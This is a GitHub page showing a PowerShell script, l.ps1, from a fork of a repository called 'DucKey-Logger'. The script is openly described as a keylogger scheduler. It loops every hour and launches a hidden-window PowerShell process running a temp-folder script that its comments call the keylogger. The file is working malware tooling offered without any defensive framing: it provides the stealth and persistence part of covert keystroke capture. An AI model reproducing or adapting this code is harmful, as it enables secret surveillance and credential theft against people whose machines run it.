forked from PrettyBoyCosmo/DucKey-Logger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
l.ps1
55 lines (50 loc) · 1.13 KB
/
l.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# powershell log scheduler
# created by : C0SM0
# times logs will be sent [keep in military time]
$logTimes = @(
'00:00:00',
'01:00:00',
'02:00:00',
'03:00:00',
'04:00:00',
'05:00:00',
'06:00:00',
'07:00:00',
'08:00:00',
'09:00:00',
'10:00:00',
'11:00:00',
'12:00:00',
'13:00:00',
'14:00:00',
'15:00:00',
'16:00:00',
'17:00:00',
'18:00:00',
'19:00:00',
'20:00:00',
'21:00:00',
'22:00:00',
'23:00:00'
)
# sort the times in chronological order
$logTimes = $logTimes | Sort-Object
# ensure keylogger runs every day
while ($true) {
# run keylogger for each trigger time
foreach ($t in $logTimes)
{
# checks if time passed already
if((Get-Date) -lt (Get-Date -Date $t))
{
# sleeps until next time is reached
while ((Get-Date -Date $t) -gt (Get-Date))
{
# sleeps
(Get-Date -Date $t) - (Get-Date) | Start-Sleep
}
# runs keylogger
powershell Start-Process powershell.exe -windowstyle hidden "$env:temp/p.ps1"
}
}
}